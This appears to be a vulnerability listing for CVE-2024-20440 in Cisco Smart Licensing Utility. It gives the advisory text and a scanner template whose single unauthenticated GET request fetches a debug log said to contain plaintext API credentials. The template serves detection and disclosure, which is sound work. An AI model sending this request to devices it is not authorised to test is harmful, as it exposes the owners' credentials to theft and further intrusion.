A vulnerability in Cisco Smart Licensing Utility could allow an unauthenticated, remote attacker to access sensitive information.This vulnerability is due to excessive verbosity in a debug log file. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to obtain log files that contain sensitive data, including credentials that can be used to access the API.
PoC代码[已公开]
id: CVE-2024-20440
info:
name: Cisco Smart Licensing Utility UnAuthenticated Logs Exposure Leaking Plaintext Credentials
author: iamnoooob,parthmalhotra,pdresearch
severity: high
description: |
A vulnerability in Cisco Smart Licensing Utility could allow an unauthenticated, remote attacker to access sensitive information.This vulnerability is due to excessive verbosity in a debug log file. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to obtain log files that contain sensitive data, including credentials that can be used to access the API.
impact: |
Unauthenticated attackers can access debug log files containing plaintext credentials and other sensitive information, enabling further attacks on the system.
remediation: |
Update Cisco Smart Licensing Utility to a version that prevents log file exposure.
reference:
- https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cslu-7gHMzWmw
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-20440
cwe-id: CWE-532
epss-score: 0.77265
epss-percentile: 0.98931
metadata:
verified: true
max-request: 1
tags: cve,cve2024,cisco,smart,licensing,info-leak,vkev,vuln
http:
- raw:
- |
GET /cslu/v1/var/logs/customer-cslu-lib-log.log HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "csluev.log"
- type: word
part: content_type
words:
- "text/x-log"
- type: status
status:
- 200
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